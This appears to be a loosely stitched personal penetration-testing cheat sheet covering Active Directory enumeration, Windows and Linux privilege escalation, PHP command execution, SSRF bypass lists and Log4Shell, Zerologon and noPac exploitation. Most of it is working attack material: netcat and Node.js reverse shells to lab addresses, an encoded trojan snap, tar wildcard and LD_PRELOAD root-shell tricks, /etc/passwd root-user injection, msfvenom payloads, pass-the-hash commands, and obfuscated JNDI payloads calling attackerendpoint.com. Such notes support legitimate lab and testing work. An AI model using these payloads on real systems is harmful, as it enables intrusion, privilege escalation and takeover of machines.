$ https://github.com/dirkjanm/krbrelayx
=> printerbug.py
$ Simple tool to trigger SpoolService bug via RPC backconnect
$
=> addspn.py
$ Add an SPN to a user/computer account
$
=> dnstool.py
$ Query/modify DNS records for Active Directory integrated DNS via LDAP
$ .\dnstool.py -u BANK\\nik -p 'Passw0rd@123!' -r web01.bank.local -d 10.10.10.12 --action add 19.10.10.10
=> krbrelayx.py
$ Kerberos "relay" tool. Abuses accounts with unconstrained delegation to pwn
things.
=> References
https://github.com/dirkjanm/krbrelayx# Commands
.\VboxMange.exe -nologo guestcontrol "Docker" run -exe "/bin/bash" --username "nik" --password "password123" --wait-stdout -- bash -c '/usr/bin/echo "oassword123" | sudo -S cat /etc/passwd 2>/dev/null'=> Download
$ git clone https://github.com/PowerShellMafia/PowerSploit.git
=> Commands
$ Get-DomainComputer
$ Get-DomainComputer -properties name
$ Get-DomainComputer -Unconstrained -Properties useraccountcontrol,dnshostname | fl
$ Get-DomainTrustMapping -Verbose
$ Get-DomainTrust
$ Get-NetForest
$ Get-NetForestDomain
$ Get-NetForestTrust
$ (get-domaincomputer -domain bank.local).dnshostname
$ Get-NetLoggedon
$ Get-NetProcess
$ Get-NetGPO | %{Get-ObjectAcl -ResolveGUIDs -Name $_.Name}
$ Get-DomainObjectAcl -Identity "GPOName" -ResolveGUIDs | Where-Object {($_.ActiveDirectoryRights.ToString() -match "GenericWrite|AllExtendedWrite|WriteDacl|WriteProperty|WriteMember|GenericAll|WriteOwner")}
$ Invoke-ShareFinder
$ Invoke-UserHunter
=> References
$ https://gist.github.com/macostag/44591910288d9cc8a1ed6ea35ac4f30f
$ https://gist.github.com/HarmJ0y/184f9822b195c52dd50c379ed3117993
$ https://www.slideshare.net/harmj0y/i-have-the-powerview
# Download server side certificate (Browser)
- Click on the Lock icon in the url row > Show Connection Details > More Information > View Certificate > Download PEM (cert) > Save it as .crt
# Check
openssl pkey -in ca.key -pubout | md5sum
openssl x509 -in lacasadepapel-htb.crt -pubkey -noout | md5sum
- This will give the same md5sum output which is => 71e2b2ca7b610c24d132e3e4c06daf0c
# Generate private key for SSL client
openssl genrsa -out client.key 4096
# Generate cert request
openssl req -new -key client.key -out client.req
# Issue client certificate
openssl x509 -req -in client.req -CA lacasadepapel-htb.crt -CAkey ca.key -set_serial 101 -extensions client -days 365 -outform PEM -out client.cer
# Convert to pkcs#12 format (Browser)
openssl pkcs12 -export -inkey client.key -in client.cer -out client.p12
# Clean (optional)
rm client.key client.cer client.req
# References
https://www.makethenmakeinstall.com/2014/05/ssl-client-authentication-step-by-step/# Commands
net user /domain
net group /domain
[System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
# LDAP
======script(domain)======
$domainObject = [System.DirectoryServices.ActiveDirectory.Domain]::GetCurrentDomain()
$Pdc = ($domainObject.PdcRoleOwner).Name
$searchString = "LDAP://"
$searchString += $Pdc + "/"
$Name = "DC=$($domainObject.Name.Replace('.', ',DC='))"
$searchString += $Name
$search = New-Object System.DirectoryServices.DirectorySearcher([ADSI]$searchString)
$objectDomain = New-Object System.DirectoryServices.DirectoryEntry
$search.SearchRoot = $objectDomain
$search.filter="samAccountType=805306368"
$res = $search.FindAll() | Sort-Object path
==================
======script(Local)=====
$Searcher = New-Object DirectoryServices.DirectorySearcher
$Searcher.SearchRoot = 'LDAP://CN=Users,DC=bank,DC=local'
$Searcher.Filter = '(&(objectCategory=person))'
$res = $Searcher.FindAll() | Sort-Object path
===================
# LDAP References
https://gist.github.com/Erreinion/76660c012ad05ab90182
# .Net Method
=====ADForestInfo====
$ADForestInfo = [System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest()
$ADForestInfo.Name
$ADForestInfo.Sites
$ADForestInfo.Domains
$ADForestInfo.GlobalCatalogs
$ADForestInfo.ApplicationPartitions
$ADForestInfo.ForestMode
$ADForestInfo.RootDomain
$ADForestInfo.Schema
$ADForestInfo.SchemaRoleOwner
$ADForestInfo.NamingRoleOwner
OR
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Name
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Sites
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Domains
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().GlobalCatalogs
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ApplicationPartitions
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().ForestMode
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().RootDomain
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().Schema
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().SchemaRoleOwner
[System.DirectoryServices.ActiveDirectory.Forest]::GetCurrentForest().NamingRoleOwner
=====================
# .Net Method References
https://adsecurity.org/?p=113# Install
go get github.com/tomnomnom/waybackurls
# Commands
cat comain.txt| waybackurls > wayback.txt# Download
GO111MODULE=on go get -u -v github.com/lc/gau
# References
https://github.com/lc/gau# Download/Install
sudo apt install assetfinder# Download/Install
GO111MODULE=on go get -v github.com/hahwul/dalfox/v2
# References
https://github.com/hahwul/dalfox=> Commands
$ Get-SQLInstanceLocal -Verbose
$ Get-SQLInstanceDomain -Verbose
$ Get-SQLServerInfo -Verbose -Instance query.bank.local
$ Invoke-SQLAudit -Verbose -Instance query.bank.local
$ Get-SQLQuery -instance query.bank.local -query "select * from master..sysservers"
=> References
$ https://github.com/NetSPI/PowerUpSQL/wiki/PowerUpSQL-Cheat-Sheet
=> Download
$ iex(iwr -usebasicparsing https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1))
=> Command
$ Invoke-AllChecks
$ Find-ProcessDLLHijack
=> References
$ https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1=> References
$ https://github.com/RedTeamOperations/Vulnerable_Machine/blob/master/Escalate%20-%20A%20Windows%20Vulnerable%20Virtual%20Machine
$ https://github.com/Tib3rius/Windows-PrivEsc-Setup=> References
$ https://github.com/RedTeamOperations/Vulnerable_Machine/blob/master/Escalate%20-%20A%20Linux%20Vulnerable%20Virtual%20Machine
=> Commands
$ Invoke-InveighRelay -ConsoleOutput -Y -StatusOutput N -Command "net user commandtest Passw0rd123! $ /add" -Attack Enumerate,Execute,Session
$ Invoke-Inveigh -ConsoleOutput Y
$ Stop-Inveigh
$ Invoke-Inveigh -FileOutput Y=> Set Proxies
$ set PROXIES HTTP:127.0.0.1:8080
$ set ReverseAllowProxy true
=> Mimikatz
$ load mimikatz
=> Commands
$ ps
$ help
=> Msfvenom
$ msfvenom -p php/meterpreter/reverse_tcp LHOST=tun0 LPORT=443 -f raw -o shell.php
=> Download
$ https://www.tenable.com/downloads/nessus
=> Install
$ sudo apt install ./Nessus-8.14.0-debian6_amd64.deb
=> Start
$ sudo /bin/systemctl start nessusd.service
=> Stop
$ sudo /bin/systemctl stop nessusd.service
=> Web
$ https://localhost:8834/
=> No PDF?
$ Install Java on the machine
$ Follow the steps in here : https://community.tenable.com/s/article/PDF-Option-is-Missing-in-Nessus# Download
https://github.com/Apr4h/CobaltStrikeScan
# Commands
python3 parse_beacon_config.py beacon.exe
# Information we can get
- SleepTime
- Jitter
- PublicKey_MD5
- Port
- BeaconType
- HttpPostUri
- Many more# Download
https://github.com/aniqfakhrul/Sharperner
# Commands
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=eth0 LPORT=443 -f base64
.\Sharperner.exe /file:base64.txt /key:'nothinghere' /out:payload.exe
[Install truffleHog]
pip install truffleHog
[Usage]
trufflehog --regex --entropy=False https://github.com/example/example.git
[References]
https://github.com/trufflesecurity/truffleHog=> Download
$ https://github.com/GhostManager/Ghostwriter
=> =====Take Substring=====
$ {{ finding.title[1:6] }}
$ {{ finding.title[1:-1] }}
$ {{ finding.title[1:] }}
=> =====Set List=====
$ {% set list_web = ['WEB01','WEB02'] %}
=> =====Example(1) Iteration=====
{% for x in list_web %}
{{ x }}
{% endfor %}
=> ====Example(2) Iteration====
{% for x in list_web %}
{{ forloop.counter }} # starting index 1
{{ forloop.counter0 }} # starting index 0
{% endfor %}
=> =====Example(1) IfElse=====
{% if 'web' in x %}
yes
{% endif %}
=> ====Inside findings====
$ https://github.com/GhostManager/Ghostwriter/blob/ee24eb299c0e66b6b718eb3ecf5f084685b526f0/ghostwriter/reporting/models.py
{% for findings in findings %}
{{ finding.title }}
{{ finding.position }}
{{ finding.affected_entities }}
{{ finding.description }}
{{ finding.impact }}
{{ finding.mitigation }}
{{ finding.replication_steps }}
{{ finding.host_detection }}
{{ finding.network_detection }}
{{ finding.references }}
{{ finding.finding_guidance }}
{{ finding.complete }}
# Foreign Keys
{{ finding.severity }}
{{ finding.finding_type }}
{{ finding.report }}
{% endfor % }
=> ====Inside target====
$ https://github.com/GhostManager/Ghostwriter/blob/ee24eb299c0e66b6b718eb3ecf5f084685b526f0/ghostwriter/rolodex/models.py
{% for targets in target %}
{{ targets.ip_address }}
{{ targets.hostname }}
{{ targets.note }}
{{ targets.compromised }}
# Foreign Keys
{{ targets.project }}
{% endfor % }
=> Command
$ sqlmap -u "http://example.com/" --data "a=1&b=2&c=3" -p "a,b" --method POST
$ sqlmap -u "http://example.com/?a=1&b=2&c=3" -p "a,b"
$ sqlmap -r post.req --level=5 --risk=3 --os-shell
$ sqlmap -r item.req --proxy http://127.0.0.1:8080 --level 4 --risk 3 -p parameters --technique=S --dbms=mssql --batch --random-agent --force-ssl -D databases -T tables -C columns --dump --flush
$ sqlmap -r item.req --proxy http://127.0.0.1:8080 --level 4 --risk 3 -p parameters --technique=S --dbms=mssql --batch --random-agent --force-ssl --sql-query="select len(coumns) from tables;"
=> Download
$ https://nim-lang.org/
=> Commands
$ nim c .\practice.nim
=> Variables
$ var age: int
$ var ageSpecified: int = 25
$ var variableImplicit = "Hello"
$ var my_variable != var My_variable
$ var my_variable == var myVariable
=> Function
Void
proc header(): void =
echo "here"
=> Output
$ echo "Age: ", ageSpecified
=> Install (Nimble)
$ nimble install winim
=> References
$ https://github.com/byt3bl33d3r/OffensiveNim
$ https://blog.eduonix.com/web-programming-tutorials/nim-programming-language-syntaxes/
$ https://ajpc500.github.io/nim/Shellcode-Injection-using-Nim-and-Syscalls/
$ https://github.com/ajpc500/NimlineWhispers
$ https://gist.github.com/ChoiSG/e0a7f5949638dfe363bcd418d94dcc34
$ https://ilankalendarov.github.io/posts/nim-ransomware/
$ https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/
# Split By Whitespace and append every end words
passPhrase = "aa bb cc dd ee ff";
passPhrase = string.Join("\"" + Environment.NewLine + "\"", passPhrase.Split()
.Select((word, index) => new { word, index })
.GroupBy(x => x.index / 2)
.Select(grp => string.Join(" ", grp.Select(x => x.word))));
=> Tools
$ https://github.com/lobuhi/byp4xx
-> ./byp4xx.sh -c "http://localhost/"
$ https://github.com/iamj0ker/bypass-403
=> Header
$ X-Originating-IP: 127.0.0.1
$ X-Forwarded-For: 127.0.0.1
$ X-Remote-IP: 127.0.0.1
$ X-Remote-Addr: 127.0.0.1
$ X-Original-URL: /admin
$ X-Rewrite-URL: /admin# Download
https://github.com/MobSF/mobsfscan# Commands
evil-winrm -u 'Administrator' -H '370ddcf45959b2293427baa70376e14e' -i 10.10.10.10# Download
https://remmina.org/how-to-install-remmina/
# Installing
sudo apt install software-properties-common
sudo apt update
sudo apt-add-repository ppa:remmina-ppa-team/remmina-next
sudo apt update
sudo apt install remmina remmina-plugin-rdp remmina-plugin-secret
sudo killall remmina
sudo remmina# Download
https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
# Event
Event ID 1: Process creation
Event ID 2: A process changed a file creation time
Event ID 3: Network connection
Event ID 4: Sysmon service state changed
Event ID 5: Process terminated
Event ID 6: Driver loaded
Event ID 7: Image loaded
Event ID 8: CreateRemoteThread
Event ID 9: RawAccessRead
Event ID 10: ProcessAccess
Event ID 11: FileCreate
Event ID 12: RegistryEvent (Object create and delete)
Event ID 13: RegistryEvent (Value Set)
Event ID 14: RegistryEvent (Key and Value Rename)
Event ID 15: FileCreateStreamHash
Event ID 16: ServiceConfigurationChange
Event ID 17: PipeEvent (Pipe Created)
Event ID 18: PipeEvent (Pipe Connected)
Event ID 19: WmiEvent (WmiEventFilter activity detected)
Event ID 20: WmiEvent (WmiEventConsumer activity detected)
Event ID 21: WmiEvent (WmiEventConsumerToFilter activity detected)
Event ID 22: DNSEvent (DNS query)
Event ID 23: FileDelete (File Delete archived)
Event ID 24: ClipboardChange (New content in the clipboard)
Event ID 25: ProcessTampering (Process image change)
Event ID 26: FileDeleteDetected (File Delete logged)
Event ID 255: Error
# References
https://github.com/SwiftOnSecurity/sysmon-config
https://github.com/trustedsec/SysmonCommunityGuide# Commands
scp -P 2249 file.txt [email protected].:.# Download MdbTools
sudo apt install mdbtools
# Commands
mdb-tables file.mdb
mdb-tables -T backup.mdb
mdb-sql file.mdb
* list tables
* go
# Tricks
for i in $(mdb-tables -T backup.mdb | cut -d' ' -f2);do mdb-export -H backup.mdb $i > /tmp/test; sed "s/.*(//g" /tmp/test | sed 's/"//g' | sed "s/).*//g" | tr , '\n' >> word.txt;done# Install
sudo apt-get install evolution evolution-plugins
# Commands
evolution
# References
https://rc.partners.org/kb/article/2702# Install
sudo apt-get install -y pst-utils
# Commands
readpst file.pst
cat file.mbox=> Commands
$ docker images
$ docker image ls
$ docker pull ubuntu
$ docker run -it ubuntu
$ docker run -it <image_id>
$ docker build /path_to_Dockerfile/
$ docker rmi <image id> -f
=> Curl
$ curl --unix-socket /var/run/docker.sock -H "Content-Type: application/json"
$ curl -s localhost:8080/images/json -H "Content-Type: application/json"
=> Api
$ /images/json
$ /container/json
=> References
$ https://securityboulevard.com/2019/02/abusing-docker-api-socket/
$ https://github.com/flast101/docker-privesc# Commands
docker-compose up --build --force-recreate -d
docker-compose up --build -d
# References
https://docs.docker.com/compose/install/#====Example====
FROM node:7-onbuild
LABEL maintainer "[email protected]"
HEALTHCHECK --interval=5s \
--timeout=5s \
CMD curl -f http;//127.0.0.1:8000 || exit 1
EXPOSE 8000
#====Example====#====Example====
node {
def app
stage('Clone repository'){
checkout scm
}
stage('Build iamge'){
app = docker.build("username/docker")
}
stage('Test image'){
app.inside {
sh 'echo "Tests passed"'
}
}
stage('Push image'){
docker.withRegistry('https://registry.hub.docker.com','docker-hub-credentials'){
app.push("$(env.BUILD_NUMBER)")
app.push("latest")
}
}
}====Comparisons====
var_dump(0 == "a"); // 0 == 0 -> true
var_dump("1" == "01"); // 1 == 1 -> true
var_dump("10" == "1e1"); // 10 == 10 -> true
var_dump(100 == "1e2"); // 100 == 100 -> true
var_dump(.0 == "00"); // 0 == 0
====is_numeric()====
is_numeric(" \t\r\n 123") => true
is_numeric(' 87') => true
is_numeric('87 ') => false
is_numeric(' 87 ') => false
is_numeric('0xdeadbeef')
# Returns True
' -.0'
'0.'
' +2.1e5'
' -1.5E+25'
'1.e5'
'9e9'
====preg_replace()====
#Example1
preg_replace('/a/e', 'sYstEm(ls)', 'aaaa');
#Example2
preg_replace('/a/e', '$output = `cat flag.txt`; echo "<pre>$output</pre>";', 'aaaa');
#Example3
preg_replace('/a/e', 'sYstEm("ls")', 'aaaa');
====Command Execution====
#exec()
exec("whoami");
#passthru()
passthru("whoami");
#system()
system("whoami");
#shell_exec()
shell_exec("whoami");
#backticks (use shell_exec)
`whoami`;
#popen()
popen("whoami","r");
#proc_open()
proc_open("whoami");
#pcntl_exec
pcntl_exec("whoami");
====Read Files====
#readfile()
readfile("/etc/hosts");
#file_get_contents()
file_get_contents("/etc/hosts");
#fopen()/fread()
fread(fopen("/etc/hosts","r"),filesize("/etc/hosts"));
#include_once();
include_once('/etc/hosts');
#include();
include('/etc/hosts');
#require_once()
require_once('/etc/hosts');
#require()
require('/etc/hosts');
====List Files/Directories====
#opendir()
<?php
$dir = "/etc/";
// Open a known directory, and proceed to read its contents
if (is_dir($dir)) {
if ($dh = opendir($dir)) {
while (($file = readdir($dh)) !== true) {
echo "filename: $file : filetype: " . filetype($dir . $file) . "\n";
}
closedir($dh);
}
}
?>
#scandir()
<?php
$dir = '/etc';
$files1 = scandir($dir);
$files2 = scandir($dir, 1);
print_r($files1);
print_r($files2);
?>
#Readdir()
<?php
if ($handle = opendir('/etc')) {
echo "Directory handle: $handle\n";
echo "Entries:\n";
/* This is the correct way to loop over the directory. */
while (false !== ($entry = readdir($handle))) {
echo "$entry\n";
}
/* This is the WRONG way to loop over the directory. */
while ($entry = readdir($handle)) {
echo "$entry\n";
}
closedir($handle);
}
?>
#Glob()
<?php
foreach (glob("/etc/*.txt") as $filename) {
echo "$filename size " . filesize($filename) . "\n";
}
?>
#Information Disclosure
phpinfo
posix_mkfifo
posix_getlogin
posix_ttyname
getenv
get_current_user
proc_get_status
get_cfg_var
disk_free_space
disk_total_space
diskfreespace
getcwd
getlastmo
getmygid
getmyinode
getmypid
getmyuid
# References
- https://github.com/w181496/Web-CTF-Cheatsheet
- https://stackoverflow.com/questions/3115559/exploitable-php-functions
- https://wiki.x10sec.org/web/php/php/
=> Start new session
$ tmux new -s newsession
=> Split Pane Vertically
$ Ctrl + b + "
=> Split Pane Horizontally
$ Ctrl + b + %
=> List session
$ tmux ls
=> Attach to last session
$ tmux a
=> Attach to specific session
$ tmux a -t newsession
=> Toogle Pane Zoom
$ Ctrl + b + z
=> Create new window
$ Ctrl + b + c
=> Next Windows
$ Ctrl + b + n
=>
=> References
https://tmuxcheatsheet.com/=> References
$ https://vim.rtorr.com/# Commands
# References# List
http://127.0.0.1
http://127.1
http://0
http://0.0.0.0
http://localhost
http://[::]
http://[0000::1]
http://[0:0:0:0:0:ffff:127.0.0.1]
http://①②⑦.⓪.⓪.⓪
http://127.127.127.127
http://127.0.1.3
http://127.0.0.0
http://2130706433/
http://017700000001
http://3232235521/
http://3232235777/
http://0x7f000001/
http://0xc0a80014/
http://{domain}@127.0.0.1
http://127.0.0.1#{domain}
http://{domain}.127.0.0.1
http://127.0.0.1/{domain}
http://127.0.0.1/?d={domain}
https://{domain}@127.0.0.1
https://127.0.0.1#{domain}
https://{domain}.127.0.0.1
https://127.0.0.1/{domain}
https://127.0.0.1/?d={domain}
http://{domain}@localhost
http://localhost#{domain}
http://{domain}.localhost
http://localhost/{domain}
http://localhost/?d={domain}
http://127.0.0.1%00{domain}
http://127.0.0.1?{domain}
http://127.0.0.1///{domain}
https://127.0.0.1%00{domain}
https://127.0.0.1?{domain}
https://127.0.0.1///{domain}
# References
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery# Commands
-> cmd /c 'call "C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Auxiliary\Build\vcvars64.bat" && cl /LD calc.c '
# Crash
kill -SIGBUS <pid>
# Unpack
apport-unpack /var/crash/<something>.crash /tmp/newdirectory
# View Dump
strings CoreDump
# Enable CoreDump Generation
prctl(PR_SET_DUMPABLE, 1);
# References
-> https://access.redhat.com/solutions/4896(1) Write Multiple Lines
cat >note.txt <<'EOL'
<WRITE HERE>
<WRITE HERE>
EOL
# SUID
python -c 'import os; os.execl("/bin/sh", "sh", "-p")'
python2.7 -c 'import os; os.execl("/bin/sh", "sh", "-p")'
# Capabilities
python -c 'import os; os.setuid(0); os.system("/bin/sh")'
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'
python3.8 -c 'import os; os.setuid(0); os.system("/bin/sh")'
# SUDO
sudo python3 /pathto/script.py
# Notes (Found)
eval('144+0|__import__("os").system("nc -e /bin/sh 10.10.10.10 443")')#If No Internet Access
1. git clone https://github.com/saghul/lxd-alpine-builder.git
2. cd lxd-alpine-builder
3. ./build-alpine
4. Upload file.tar.gz into target machine
5. lxc image import ./apline-v3.10-x86_64-20191008_1227.tar.gz --alias myimage
6. lxc init myimage ignite -c security.privileged=true
7. lxc config device add ignite mydevice disk source=/ path=/mnt/root recursive=true
8. lxc start ignite
9. lxc exec ignite /bin/sh# SUID
gimp -idf --batch-interpreter=python-fu-eval -b 'import os; os.execl("/bin/sh", "sh", "-p")'
# References
https://gtfobins.github.io/gtfobins/gimp/# SUID
gdb -nx -ex 'python import os; os.execl("/bin/sh", "sh", "-p")' -ex quit
# SUDO
sudo gdb -nx -ex '!sh' -ex quit
# Capabilities
gdb -nx -ex 'python import os; os.setuid(0)' -ex '!sh' -ex quit
# References
https://gtfobins.github.io/gtfobins/gdb/# Sudo
sudo node -e 'child_process.spawn("/bin/sh", {stdio: [0, 1, 2]})'# Sudo
- Create one file /tmp/passwd
- echo -e "\nnewuser:c.gVrEYFACZTQ:0:0:root:/root:/bin/bash" > /tmp/passwd
- sudo maidag --url '/etc/passwd' < /tmp/passwd
- su newuser- If there is a folder with SUID
- And it is a webserver
- Try to upload php reverse shell
- Access it from web# Sudo
sudo /bin/cat /opt/games/../../../etc/passwd# Install
sudo apt install qpdf
# Commands
qpdf --encrypt password password 40 -- test.pdf test2.pdf
qpdf --password=password --decrypt test2.pdf test.pdf
# Sudo
# Malicious snap to create dirty_sock:dirty_sock
## python3 snapmal.py
import base64
TROJAN_SNAP = ('''
aHNxcwcAAAAQIVZcAAACAAAAAAAEABEA0AIBAAQAAADgAAAAAAAAAI4DAAAAAAAAhgMAAAAAAAD/
/////////xICAAAAAAAAsAIAAAAAAAA+AwAAAAAAAHgDAAAAAAAAIyEvYmluL2Jhc2gKCnVzZXJh
ZGQgZGlydHlfc29jayAtbSAtcCAnJDYkc1daY1cxdDI1cGZVZEJ1WCRqV2pFWlFGMnpGU2Z5R3k5
TGJ2RzN2Rnp6SFJqWGZCWUswU09HZk1EMXNMeWFTOTdBd25KVXM3Z0RDWS5mZzE5TnMzSndSZERo
T2NFbURwQlZsRjltLicgLXMgL2Jpbi9iYXNoCnVzZXJtb2QgLWFHIHN1ZG8gZGlydHlfc29jawpl
Y2hvICJkaXJ0eV9zb2NrICAgIEFMTD0oQUxMOkFMTCkgQUxMIiA+PiAvZXRjL3N1ZG9lcnMKbmFt
ZTogZGlydHktc29jawp2ZXJzaW9uOiAnMC4xJwpzdW1tYXJ5OiBFbXB0eSBzbmFwLCB1c2VkIGZv
ciBleHBsb2l0CmRlc2NyaXB0aW9uOiAnU2VlIGh0dHBzOi8vZ2l0aHViLmNvbS9pbml0c3RyaW5n
L2RpcnR5X3NvY2sKCiAgJwphcmNoaXRlY3R1cmVzOgotIGFtZDY0CmNvbmZpbmVtZW50OiBkZXZt
b2RlCmdyYWRlOiBkZXZlbAqcAP03elhaAAABaSLeNgPAZIACIQECAAAAADopyIngAP8AXF0ABIAe
rFoU8J/e5+qumvhFkbY5Pr4ba1mk4+lgZFHaUvoa1O5k6KmvF3FqfKH62aluxOVeNQ7Z00lddaUj
rkpxz0ET/XVLOZmGVXmojv/IHq2fZcc/VQCcVtsco6gAw76gWAABeIACAAAAaCPLPz4wDYsCAAAA
AAFZWowA/Td6WFoAAAFpIt42A8BTnQEhAQIAAAAAvhLn0OAAnABLXQAAan87Em73BrVRGmIBM8q2
XR9JLRjNEyz6lNkCjEjKrZZFBdDja9cJJGw1F0vtkyjZecTuAfMJX82806GjaLtEv4x1DNYWJ5N5
RQAAAEDvGfMAAWedAQAAAPtvjkc+MA2LAgAAAAABWVo4gIAAAAAAAAAAPAAAAAAAAAAAAAAAAAAA
AFwAAAAAAAAAwAAAAAAAAACgAAAAAAAAAOAAAAAAAAAAPgMAAAAAAAAEgAAAAACAAw'''+ 'A' * 4256 + '==')
blob = base64.b64decode(TROJAN_SNAP)
file = open("sample.snap", "wb")
file.write(blob)
file.close()
# Run
sudo snap install --dangerous --devmode exploit.snap
#another method sudo install
[Sudo snap install]
COMMAND="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f | /bin/sh -i 2>&1 | nc 10.10.14.23 443 >/tmp/f"
cd $(mktemp -d)
mkdir -p meta/hooks
printf '#!/bin/sh\n%s; false' "$COMMAND" >meta/hooks/install
chmod +x meta/hooks/install
fpm -n xxxx -s dir -t snap -a all meta
# Commands
sudo /usr/bin/snap install test.snap --dangerous --devmode# Sudo
sudo msfconsole -x bash
# Commands# Group docker
# Save as test.conf in /etc/init/testconf
description "Test node.js server"
author "root"
script
exec /usr/local/share/nodebrew/node/v8.9.4/bin/node /tmp/reverse.js
end script
# Nodejs - save as /tmp/reverse.js
(function(){
var net = require("net"),
cp = require("child_process"),
sh = cp.spawn("/bin/sh", []);
var client = new net.Socket();
client.connect(1337, "10.10.14.23", function(){
client.pipe(sh.stdin);
sh.stdout.pipe(client);
sh.stderr.pipe(client);
});
return /a/; // Prevents the Node.js application form crashing
})();
# Commands
sudo /sbin/initctl stop test
sudo /sbin/initctl start test#===Chown/Chmod===
- Imagine there is a cronjob
* chown user1:user2 /opt/*
- touch -- --reference=reference
- touch reference
- chmod 6777 reference
- ln -s /etc/shadow /opt/shadow
- ln -d -s /root /opt/root
## References
- https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/
#===Tar===
- Imagine there is cronjob
* cd /opt;tar cf /opt/backup.tar *
- touch -- "--checkpoint=1"
- touch -- "--checkpoint-action=exec=sh shell.sh"
- echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.10.10 443 >/tmp/f" > shell.sh
- echo "cp /bin/bash /tmp/bash; chmod u+s /tmp/bash" > shell.sh
- chmod 777 ./"--checkpoint=1"
- chmod 777 ./"--checkpoint-action=exec=sh shell.sh"
- chmod 777 shell.sh
#===Parameter===
- Imagine there is wildcard in binary with --help
* sudo cat * --help
- sudo cat /etc/paswd -help
- Try to look if there is any more parameter that can run so that it will run that before --help
## References
- https://materials.rangeforce.com/tutorial/2019/11/08/Linux-PrivEsc-Wildcard/
- https://book.hacktricks.xyz/linux-unix/privilege-escalation/wildcards-spare-tricks
# SUID
vim -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vim.basic -c ':py import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vim -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")'
vim.basic -c ':py3 import os; os.execl("/bin/sh", "sh", "-pc", "reset; exec sh -p")# Change root password
-> openssl passwd password123
-> replace in root row
-> root:c.gVrEYFACZTQ:0:0:root:/root:/bin/bash
$ ===One===
include <stdio.h>
include <sys/types.h>
include <stdlib.h>
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/sh");
}
gcc -fPIC -shared -o shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so find# Commands
sudo csvtool call '/bin/sh;false' /etc/passwd -t --help# SUID
-> https://gist.github.com/A1vinSmith/78786df7899a840ec43c5ddecb6a4740
# SUID
-> screen -x root/shared
->
https://possiblelossofprecision.net/?p=1993
# SUDO
-> sudo screen# What we will see?
(ALL,!root) /bin/bash
(ALL, !root) /usr/bin/ssh
# Commands
sudo -u#-1 ssh -o ProxyCommand=';sh 0<&2 1>&2' x
sudo -u#-1 /bin/bash
# References
https://www.exploit-db.com/exploits/47502=> Github
$ https://github.com/dirkjanm/CVE-2020-1472
=> Commands (Exploit)
$ python3 cve-2020-1472-exploit.py BANK 10.10.10.10
=> Commands (Restore Password)
$ Get plain_password_hex
-> secretsdump.py bank.local/Administrator@BANK -target-ip 10.10.10.10 -hashes aad3b435b51404eeaad3b435b51404ee:32db622ed9c00dd1039d8288b0407460
$ python3 restorepassword.py return.local/printer@printer -target-ip 10.10.11.108 -hexpass <HEXPASS>
=> References
$ https://nv2lt.github.io/windows/CVE-2020-1472-Step-by-Step-Procedure/
=> GitHub
$ https://github.com/Ridter/noPac
=> Commands
$ python3 noPac.py bank.local/user:password -dc-ip 10.0.10.10 -dc-host DC01 --impersonate administrator -dump
=> References
$ https://www.thehacker.recipes/ad/movement/kerberos/samaccountname-spoofing=> Marshalsec
$ git clone https://github.com/mbechler/marshalsec.git
$ cd marshalsec
$ sudo apt install maven
$ mvn clean package -DskipTests
=> Payload
${${env:BARFOO:-j}ndi${env:BARFOO:-:}${env:BARFOO:-l}dap${env:BARFOO:-:}//attackerendpoint.com/}
${${env:ENV_NAME:-j}ndi${env:ENV_NAME:-:}${env:ENV_NAME:-l}dap${env:ENV_NAME:-:}//attackerendpoint.com/}
${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://attackerendpoint.com/z}
${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc}
${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass}
${${::-j}ndi:rmi://attackerendpoint.com/}
${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://attackerendpoint.com/}
${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}
${${lower:j}ndi:${lower:l}${lower:d}a${lower:p}://attackerendpoint.com/}
${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc}
${${upper:j}ndi:${upper:l}${upper:d}a${lower:p}://attackerendpoint.com/}
${jndi:ldap://ATTACKERCONTROLLEDHOST}
${jndi:rmi://adsasd.asdasd.asdasd}
=> Exploit (1)
$ https://github.com/veracode-research/rogue-jndi
$ java -jar rogue-jndi/target/RogueJndi-1.1.jar --command "bash -c {echo,<BASE64>}|{base64,-d}|{bash,-i}" --httpPort 8888 --hostname 10.10.10.10
